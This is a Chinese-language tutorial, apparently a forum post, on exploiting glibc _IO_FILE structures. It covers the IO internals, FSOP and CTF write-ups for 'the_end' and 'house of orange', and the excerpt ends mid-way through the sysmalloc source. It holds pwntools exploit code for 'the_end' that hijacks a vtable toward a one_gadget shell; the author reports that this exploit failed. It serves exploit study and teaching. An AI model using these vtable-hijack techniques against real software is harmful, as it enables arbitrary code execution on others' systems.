R00tkit 发表于 2023-10-30 17:20

IO_FILE 利用明析


# 前言

[深入理解Pwn_Heap及相关例题](https://jelasin.github.io/2023/09/22/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Pwn_heap%E5%8F%8A%E8%B5%9B%E9%A2%98%E8%AF%A6%E7%BB%86%E8%A7%A3%E6%9E%90/)

[源码查看网址](https://elixir.bootlin.com/glibc/glibc-2.23/source)

本文主要参考(https://blog.csdn.net/qq_54218833/article/details/126082743?spm=1001.2014.3001.5502)和[\_sky123\_](https://sky123.blog.csdn.net/?type=blog)两位宝藏师傅的博客。

本文写的较为冗余,适合和我一样的新手朋友看。文中并没有对堆的手法进行详细的说明,文章的堆利用手法可以看上面的文章(包括了目前 `how2heap` 里全系列的手法,其他手法有时间会补充到里面)。后面关于 `_IO_FILE` 利用的手法会更新在这里(方便查)。

## 基础知识

### IO相关重要结构体概述

进行文件读写操作时会为对应文件创建一个 `_IO_FILE_plus` 结构体,并且链接到 `_IO_list_all` 链表 **头部** 上,`vtable` 指向一张虚函数表`_IO_jump_t`,此表中记录着对文件进行的各种操作,`_IO_FILE` 和 `_IO_jump_t` 组成了 `_IO_FILE_plus`。 `stdin, stdout, stderr` 是位于 `libc.so` 中,而通过 `fopen` 的创建的则是位于堆内存。

**glibc-2.23源**

```cpp
struct _IO_FILE_plus
{
_IO_FILE file;
/* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
const struct _IO_jump_t *vtable;
};
// amd64 如下
_IO_FILE_plus = {
    0x0:'_flags';
    0x8:'_IO_read_ptr';   // 操作起始地址
    0x10:'_IO_read_end';// stdin 缓冲结束地址
    0x18:'_IO_read_base'; // stdin 缓冲起始地址
    0x20:'_IO_write_base';// stdout 缓冲起始地址
    0x28:'_IO_write_ptr'; // 操作起始地址
    0x30:'_IO_write_end'; // stdout 缓冲结束地址
    0x38:'_IO_buf_base';// 缓冲区起始地址
    0x40:'_IO_buf_end';   // 缓冲区结束地址
    0x48:'_IO_save_base';
    0x50:'_IO_backup_base';
    0x58:'_IO_save_end';
    0x60:'_markers';
    0x68:'_chain';
    0x70:'_fileno';
    0x74:'_flags2';
    0x78:'_old_offset';
    0x80:'_cur_column';
    0x82:'_vtable_offset';
    0x83:'_shortbuf';
    0x88:'_lock';
    0x90:'_offset';
    0x98:'_codecvt';
    0xa0:'_wide_data';
    0xa8:'_freeres_list';
    0xb0:'_freeres_buf';
    0xb8:'__pad5';
    0xc0:'_mode';
    0xc4:'_unused2';
      
    0xd8:'vtable';
}
```

```cpp
struct _IO_jump_t
{
    0x0:JUMP_FIELD(size_t, __dummy);
    0x8:JUMP_FIELD(size_t, __dummy2);
    0x10:JUMP_FIELD(_IO_finish_t, __finish);
    0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
    0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
    0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
    0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
    0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
    0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
    0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
    0x60:JUMP_FIELD(_IO_sync_t, __sync);
    0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
    0x70:JUMP_FIELD(_IO_read_t, __read);
    0x78:JUMP_FIELD(_IO_write_t, __write);
    0x80:JUMP_FIELD(_IO_seek_t, __seek);
    0x88:JUMP_FIELD(_IO_close_t, __close);
    0x90:JUMP_FIELD(_IO_stat_t, __stat);
    0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
    #if 0
      get_column;
      set_column;
    #endif

};
```

```cpp
struct _IO_FILE {
int _flags;      /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note:Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr;    /* Current read pointer */
char* _IO_read_end;    /* End of get area. */
char* _IO_read_base;    /* Start of putback+get area. */
char* _IO_write_base;    /* Start of put area. */
char* _IO_write_ptr;    /* Current put pointer. */
char* _IO_write_end;    /* End of put area. */
char* _IO_buf_base;    /* Start of reserve area. */
char* _IO_buf_end;    /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base;/* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno; // stderr:2, stdout:1, stdin:0

#if 0
    int _blksize;
#else

int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small.*/

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf;

/*char* _save_gptr;char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff.*/
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
      void *__pad1;
      void *__pad2;
      void *__pad3;
      void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again.*/
char _unused2;
#endif
};

#ifndef __cplusplus
typedef struct _IO_FILE _IO_FILE;
#endif

struct _IO_FILE_plus;

extern struct _IO_FILE_plus *_IO_list_all;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
```

```cpp
/* Extra data for wide character streams.*/
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;    /* Current read pointer */
wchar_t *_IO_read_end;    /* End of get area. */
wchar_t *_IO_read_base;    /* Start of putback+get area. */
wchar_t *_IO_write_base;    /* Start of put area. */
wchar_t *_IO_write_ptr;    /* Current put pointer. */
wchar_t *_IO_write_end;    /* End of put area. */
wchar_t *_IO_buf_base;    /* Start of reserve area. */
wchar_t *_IO_buf_end;      /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf;

const struct _IO_jump_t *_wide_vtable;
};
```

```cpp
struct _IO_str_fields
{
/* These members are preserved for ABI compatibility.The glibc
   implementation always calls malloc/free for user buffers if
   _IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set.*/
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
   but a 32 bit pointer type.In this case, we get 4 bytes of padding
   after the vtable pointer.Putting them in a structure together solves
   this problem.*/

struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
```

```cpp
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
```

**图解**



### IO相关函数概述

* `fopen` 未调用 `vtable` 中的函数,`fopen` 对应的函数 `__fopen_internal` 内部会调用 `malloc` 函数,分配 `FILE` 结构的空间。因此我们可以获知 `FILE` 结构是存储在堆上的。
* 流程

- 使用 `malloc` 分配 `FILE` 结构

- 设置 `FILE` 结构的 `vtable`

-初始化分配的 `FILE` 结构

- 将初始化的 `FILE` 结构链入 `FILE` 结构链表头部

- 调用系统调用打开文件

```cpp
// fopen() 函数
// libio/iofopen.c
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
    struct locked_FILE
    {
      struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
      _IO_lock_t lock;
#endif
      struct _IO_wide_data wd;
    } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));   // 为 FILE 结构分配空间
    if (new_f == NULL)
      return NULL;
#ifdef _IO_MTSAFE_IO
   new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    _IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
    _IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
    _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; // 设置 vtable = &_IO_file_jumps
    _IO_file_init (&new_f->fp); // 调用 _IO_file_init 函数进行初始化
#if!_IO_UNIFIED_JUMPTABLES
    new_f->fp.vtable = NULL;
#endif
    if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)    // 打开目标文件
      return __fopen_maybe_mmap (&new_f->fp.file);
    _IO_un_link (&new_f->fp);
    free (new_f);
    return NULL;
}
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
    return __fopen_internal (filename, mode, 1);
}
// libio/fileops.c
# define _IO_new_file_init _IO_file_init
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
    /* POSIX.1 allows another file handle to be used to change the position
       of our file descriptor.Hence we actually don't know the actual
       position before we do the first fseek (and until a following fflush). */
    fp->file._offset = _IO_pos_BAD;
    fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
    _IO_link_in (fp);         // 调用 _IO_link_in 函数将 fp 放进链表
    fp->file._fileno = -1;
}
// libio/genops.c
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
      run_fp = (_IO_FILE *) fp;
      _IO_flockfile ((_IO_FILE *) fp);
#endif
      fp->file._chain = (_IO_FILE *) _IO_list_all;// fp 放到链表头部
      _IO_list_all = fp;                            // 链表头 _IO_list_all 指向 fp
      ++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
      _IO_funlockfile ((_IO_FILE *) fp);
      run_fp = NULL;
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
#endif
      }
}
```

* `fread()`   最终会调用`_IO_fiel_xsgetn`
* 流程大致为 `_IO_fread->_IO_sgetn->_IO_XSGETN->_IO_file_xsgetn`。

```cpp
// fread
// libio/iofread.c
/*
* buf: 存放读取数据的缓冲区。
* size: 指定每个记录的长度。
* count: 指定记录的个数。
* stream: 目标文件流。
* 返回值: 返回读取到数据缓冲区中的记录个数。
*/
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
    _IO_size_t bytes_requested = size * count;
    _IO_size_t bytes_read;
    CHECK_FILE (fp, 0);
    if (bytes_requested == 0)
      return 0;
    _IO_acquire_lock (fp);
    bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);   // 调用 _IO_sgetn 函数
    _IO_release_lock (fp);
    return bytes_requested == bytes_read ? count : bytes_read / size;
}
// libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
    /* FIXME handle putback buffer here! */
    return _IO_XSGETN (fp, data, n);          // 调用宏 _IO_XSGETN
}
// libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
    _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#if _IO_JUMPS_OFFSET
#   define _IO_JUMPS_FUNC(THIS) \
    (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
               + (THIS)->_vtable_offset))
#   define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
#   define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
#   define _IO_vtable_offset(THIS) 0
#endif
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
```

* `fwrite` 最终会调用 `_IO_file_xsputn`
* 流程 `_IO_fwrite->_IO_XSPUTN->_IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow`

```cpp
// fwrite()
// libio/iofwrite.c
/*
* buf: 是一个指针,对 fwrite 来说,是要写入数据的地址;
* size: 要写入内容的单字节数;
* count: 要进行写入 size 字节的数据项的个数;
* stream: 目标文件指针;
* 返回值: 实际写入的数据项个数 count。
*/
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
    _IO_size_t request = size * count;
    _IO_size_t written = 0;
    CHECK_FILE (fp, 0);
    if (request == 0)
      return 0;
    _IO_acquire_lock (fp);
    if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
      written = _IO_sputn (fp, (const char *) buf, request);      // 调用 _IO_sputn 函数
    _IO_release_lock (fp);
    /* We have written all of the input in case the return value indicates
       this or EOF is returned.The latter is a special case where we
       simply did not manage to flush the buffer.But the data is in the
       buffer and therefore written as far as fwrite is concerned.*/
    if (written == request || written == EOF)
      return count;
    else
      return written / size;
}
// libio/libioP.h
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

```

* `fclose` 最终会调用 `_IO_file_finish`
* 流程大致如下
    * `_IO_unlink_it` 将指定的 `FILE` 从 `_chain` 链表中摘除
    * `_IO_file_close_it` 会调用系统接口 `close` 关闭文件
    * `_IO_FINISH->_IO_file_finish` 会调用 `free` 函数释放 `FILE` 结构

```cpp
// libio/iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
    int status;
    CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
    /* We desperately try to help programs which are using streams in a
       strange way and mix old and new functions.Detect old streams
       here.*/
    if (_IO_vtable_offset (fp) != 0)
      return _IO_old_fclose (fp);
#endif
    /* First unlink the stream.*/
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
      _IO_un_link ((struct _IO_FILE_plus *) fp);// 将 fp 从链表中取出
    _IO_acquire_lock (fp);
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
      status = _IO_file_close_it (fp);            // 关闭目标文件
    else
      status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
    _IO_release_lock (fp);
    _IO_FINISH (fp);
    if (fp->_mode > 0)
    {
#if _LIBC
         /* This stream has a wide orientation.This means we have to free
         the conversion functions.*/
         struct _IO_codecvt *cc = fp->_codecvt;
         __libc_lock_lock (__gconv_lock);
         __gconv_release_step (cc->__cd_in.__cd.__steps);
         __gconv_release_step (cc->__cd_out.__cd.__steps);
         __libc_lock_unlock (__gconv_lock);
#endif
      }
      else
      {
          if (_IO_have_backup (fp))
            _IO_free_backup_area (fp);
      }
      if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
      {
          fp->_IO_file_flags = 0;
          free(fp);                                 // 释放 FILE 结构体
      }
      return status;
}
```

### getshell 一般条件

必须要 `libc` 的低 `32` 位地址为负时,攻击才会成功。在 `fflush` 函数的检查里,它第二步才是跳转,第一步的检查,在 `arena` 里的伪造 `file` 结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会 `check` 失效。

## [the_end](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/io-file/2018_hctf_the_end)

### 检查文件信息







### 试运行



### 逆向分析

```cpp
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
    int i; //
    void *buf; // BYREF

    sleep(0);
    printf("here is a gift %p, good luck ;)\n", &sleep);
    fflush(_bss_start);
    close(1);
    close(2);
    for ( i = 0; i <= 4; ++i )
    {
      read(0, &buf, 8uLL);
      read(0, buf, 1uLL);
    }
    exit(1337);
}
```

我们有五次任意地址写 `1` 字节的机会,并且给了我们 `sleep()` 函数的地址。

### 漏洞利用

`glibc-2.23` 版本及之前没有 `_IO_vtable_check` 检查,因此可以伪造 `vtable` 劫持程序流程。 `exit` 函数有一条这样的调用链 `exit->__run_exit_handlers->_IO_cleanup->_IO_unbuffer_all->_IO_SETBUFF(fp, NULL, 0)`,这里调用了 `_IO_2_1_stdout_` 的`vatable` 中 `_setbuf` 函数.。但位于 `libc` 数据段的 `vtable` 是不可以进行写入的,因为 `_IO_jumps_t` 的第 `11` 位是 `    JUMP_FIELD(_IO_setbuf_t, __setbuf);` 所以我们可以在其附近寻找 `fake_vtable` 将其 `(11*8)0x58`处改为 `one_gadget` ,当程序退出调用 `exit` 时将会调用 `one_gadget` 从而 `getshell` 。

**获取信息**

```python
def get_info():
    global one_gadget, stdout_vtable, fake_vtable, stderr_vtable
    p.recvuntil(b"here is a gift ")
    sleep = int(p.recv(14),16)
    p.recvuntil(b"luck ;)\n")

    libc.address = sleep - libc.symbols['sleep']
    one_gadget = libc.address + 0xf03a4

    stdout_vtable = libc.sym['_IO_2_1_stdout_'] + 0xd8
    stderr_vtable = libc.sym['_IO_2_1_stderr_'] + 0xd8
    fake_vtable = stderr_vtable - 0x58

    info("libc_base : 0x%x" % libc.address)
    info("one_gadget : 0x%x" % one_gadget)
    info("stdout_vtable : 0x%x" % stdout_vtable)
    info("fake_vtable : 0x%x" % fake_vtable)
    info("stderr_vtable : 0x%x" % stderr_vtable)

    debug()
```



`libc.sym['_IO_2_1_stdout_'] + 0xd8` 是 `_IO_2_1_stdout_` 的 `vtable` 指针,`glibc-2.23`版本`x64` 的偏移`(struct _IO_FILE大小)`为 `0xd8`,`x32` 减半。

**get_shell**

```python
def get_shell():
    p.send(p64(stdout_vtable))
    p.send(p8(fake_vtable&0xff))
    p.send(p64(stdout_vtable+1))
    p.send(p8((fake_vtable>>8)&0xff))

    debug()

    p.send(p64(stderr_vtable))
    p.send(p8(one_gadget&0xff))
    p.send(p64(stderr_vtable+1))
    p.send(p8((one_gadget>>8)&0xff))

    gdb.attach(p)
    p.send(p64(stderr_vtable+2))
    p.send(p8((one_gadget>>16)&0xff))
    pause()

    p.sendline(b"exec 1>&0")
```



前两次机会我们可以修改 `stdout_vtable` 的后 `16` 位将其指向 `fake_vtable` 。



后面三次机会将 `fake_vtable` 的高 `11*8(0x58)` 处的 `_IO_SETBUF(实际上是 stderr_vtable)` 改为 `onegadget`,因为都在 `libc.so` 数据段,所以我们只需要修改其后 `8*3` 位即可。





最后调用了 `one_gadget` 。



但是我这里`4`个 `one_gadget` 都不满足条件,这个方法没打通,哪里有问题还想烦请师傅多多指教。

**图解**



## FSOP(glibc <= 2.23)

`FSOP` 的核心思想就是劫持 `_IO_list_all` 指向伪造的 `_IO_FILE_plus` 。之后使程序执行 `_IO_flush_all_lockp` 函数刷新 `_IO_list_all` 链表中所有项的文件流,相当于对每个 `FILE` 调用 `fflush` ,也对应着会调用 `_IO_FILE_plus.vtable` 中的 `_IO_overflow`。`FSOP` 通过伪造 `_IO_jump_t` 中的 `__overflow` 为 `system()` 函数 地 址 , 最 终 在 `_IO_OVERFLOW(fp,EOF)` 函 数 中 执 行 `system('/bin/sh')` 并获得 `shell`。

* `_IO_flush_all_lockp` 在一些情况下这个函数会被系统调用:

    1. 当 `libc` 执行 `abort` 流程时

    ```cpp
    void
    abort (void)
    {
      ...
          if (stage == 4)
      {
            ++stage;
            __fcloseall ();
      }
      ...
    }
    int
    __fcloseall (void)
    {
      return _IO_cleanup ();
    }
    int
    _IO_cleanup (void)
    {
      int result = _IO_flush_all_lockp (0);
      _IO_unbuffer_all ();
      return result;
    }

    ```

    2. 当执行 `exit` 函数时

    ```cpp
    void
    exit (int status)
    {
      __run_exit_handlers (status, &__exit_funcs, true);
    }
    第(1)条链
    void
    attribute_hidden
    __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit)
    {
      ...
      _exit (status);
    }
    void
    _exit (int status)
    {
      status &= 0xff;
      abort ();
    }
    第(2)条链
    _IO_cleanup (void)
    {
      int result = _IO_flush_all_lockp (0);
      _IO_unbuffer_all ();
      return result;
    }
    ```

    3. 当执行流从 `main` 函数返回时会执行 `exit->_IO_cleanup->_IO_flush_all_lockp`





* `_IO_flush_all_lockp (int do_lock)` 函数需要绕过的检查。

```cpp
/*
*从_IO_list_all开始, _IO_flush_all_lockp()遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查,
*_IO_OVERFLOW会从虚表中调用_IO_new_file_overflow()
*/
int
_IO_flush_all_lockp (int do_lock)
{
    ...
    /*
    * 为了能够让我们构造的 fake_FILE 能够正常工作,还需要以下绕过的检查
    * fp->_mode <= 0
    * fp->_IO_write_ptr > fp->_IO_write_base
    * 这里调用了 _IO_OVERFLOW 函数
    */
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
      && _IO_OVERFLOW (fp, EOF) == EOF)
    ...
}
```

还有一条`FSOP`的路径是在关闭流的时候,在 `_IO_FINISH(fp)` 的执行过程中最终会调用伪造的 `system('/bin/sh')`。

```cpp
typedef void (*_IO_finish_t) (_IO_FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
    ...
    _IO_FINISH (fp);
    ...
}
```

## [house of orange](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.24_hitconctf2016_house_of_orange)

### 检查文件信息







### 试运行



### 逆向分析

* `main` 函数

```cpp
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax

Init();
while ( 1 )
{
    while ( 1 )
    {
      Menu();
      v3 = get_num(a1, a2);
      if ( v3 != 2 )
      break;
      See();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
      Upgrade();
      }
      else
      {
      if ( v3 == 4 )
      {
          puts("give up");
          exit(0);
      }
LABEL_13:
      a1 = "Invalid choice";
      puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
      goto LABEL_13;
      Build();
    }
}
}
```

* `Build` 函数

```cpp
int Build()
{
unsigned int len_of_name; //
int type; //
void *house; //
__int64 orange; //

if ( max_house > 3u )
{
    puts("Too many house");
    exit(1);
}
house = malloc(0x10uLL);
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
    len_of_name = 0x1000;
*((_QWORD *)house + 1) = malloc(len_of_name);
if ( !*((_QWORD *)house + 1) )
{
    puts("Malloc error !!!");
    exit(1);
}
printf("Name :");
Read(*((void **)house + 1), len_of_name);   // 这个读取没有截断,可能存在泄露
orange = (__int64)calloc(1uLL, 8uLL);
printf("Price of Orange:");
*(_DWORD *)orange = get_num();
Color();
printf("Color of Orange:");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
    puts("No such color");
    exit(1);
}
if ( type == 0xDDAA )
    *(_DWORD *)(orange + 4) = 0xDDAA;
else
    *(_DWORD *)(orange + 4) = type + 0x1E;
*(_QWORD *)house = orange;
house_list = house;
++max_house;
return puts("Finish");
}
```

其结构大致为:



其中 `orange` 是通过 `calloc` 申请的。

* `See` 函数

```cpp
int sub_EE6()
{
int v0; // eax
int v2; // eax

if ( !house_list )
    return puts("No such house !");
if ( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
{
    printf("Name of house : %s\n", (const char *)house_list);
    printf("Price of orange : %d\n", *(unsigned int *)*house_list);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
}
else
{
    if ( *(int *)(*house_list + 4LL) <= 0x1E || *(int *)(*house_list + 4LL) > 0x25 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)house_list);
    printf("Price of orange : %d\n", *(unsigned int *)*house_list);
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*house_list + 4LL), *((const char **)&unk_203080 + v2 % 8));
}
}
```

`See` 函数会打印出 `house->name`、`orange->price` 和 `orange` 图案。

* `Upgrade` 函数

```cpp
int Upgrade()
{
_DWORD *house; // rbx
unsigned int len_of_name; //
int type; //

if ( max_up > 2u )
    return puts("You can't upgrade more");
if ( !house_list )
    return puts("No such house !");
printf("Length of name :");
len_of_name = get_num();
if ( len_of_name > 0x1000 )
    len_of_name = 0x1000;
printf("Name:");
Read((void *)house_list, len_of_name);
printf("Price of Orange: ");
house = (_DWORD *)*house_list;
*house = get_num();
Color();
printf("Color of Orange: ");
type = get_num();
if ( type != 0xDDAA && (type <= 0 || type > 7) )
{
    puts("No such color");
    exit(1);
}
if ( type == 0xDDAA )
    *(_DWORD *)(*house_list + 4LL) = 0xDDAA;
else
    *(_DWORD *)(*house_list + 4LL) = type + 0x1E;
++max_up;
return puts("Finish");
}
```

`Upgrade` 函数重新设置了 `len_of_name` 后直接向旧的 `name` 区域读入内容,如果 `len_new > len_old` 就会导致堆溢出。

### 漏洞利用

本题没有 `free` 函数,存在堆溢出。当 `top chunk`的剩余部分已经不能够满足请求时,就会调用函数 `sysmalloc()`分配新内存, 这时可能会发生两种情况,一种是调用 `sbrk`函数直接扩充 `top chunk`,另一种是调用 `mmap` 函数分配一块新的 `top chunk`。具体调 用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 `top chunk`,需要请求小于阈值 `mp_.mmap_threshold`。 要成功调用 `_int_free()` 还需绕过两个断言:

1. `(unsigned long) (old_size) >= MINSIZE` 也就是 `0x20`。

2. `prev_inuse == 1 `

3. `((unsigned long) old_end & (pagesize - 1)) == 0 `页对齐

4. `(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) `新申请的 `size` 大于 `old size + MINSIZE`

```cpp
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
    // 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
    ...
    if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
      && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;         /* return value from mmap call*/

    try_mmap:
      ...
    }
    ...

    if (av == NULL)
      return 0;

    old_top = av->top;
    old_size = chunksize (old_top);
    old_end = (char *) (chunk_at_offset (old_top, old_size));

    brk = snd_brk = (char *) (MORECORE_FAILURE);
    /*
    *    1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
    *    2. prev_inuse == 1
    *    3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
    *    4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
    */
    assert ((old_top == initial_top (av) && old_size == 0) ||
            ((unsigned long) (old_size) >= MINSIZE &&
             prev_inuse (old_top) &&
             ((unsigned long) old_end & (pagesize - 1)) == 0));

    assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
   
    if (av != &main_arena)
    {
      heap_info *old_heap, *heap;
      size_t old_heap_size;

      old_heap = heap_for_ptr (old_top);
      old_heap_size = old_heap->size;
      if ((long) (MINSIZE + nb - old_size) > 0
            && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
      {
            av->system_mem += old_heap->size - old_heap_size;
            arena_mem += old_heap->size - old_heap_size;
            set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                  | PREV_INUSE);
      }
      else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
      {

            heap->ar_ptr = av;
            heap->prev = old_heap;
            av->system_mem += heap->size;
            arena_mem += heap->size;

            top (av) = chunk_at_offset (heap, sizeof (*heap));
            set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

            old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
            set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
            if (old_size >= MINSIZE)
            {
                set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
                set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
                set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
                // 释放 old_top_chunk 到 unsorted bin。
                _int_free (av, old_top, 1);
            }
            else
            {
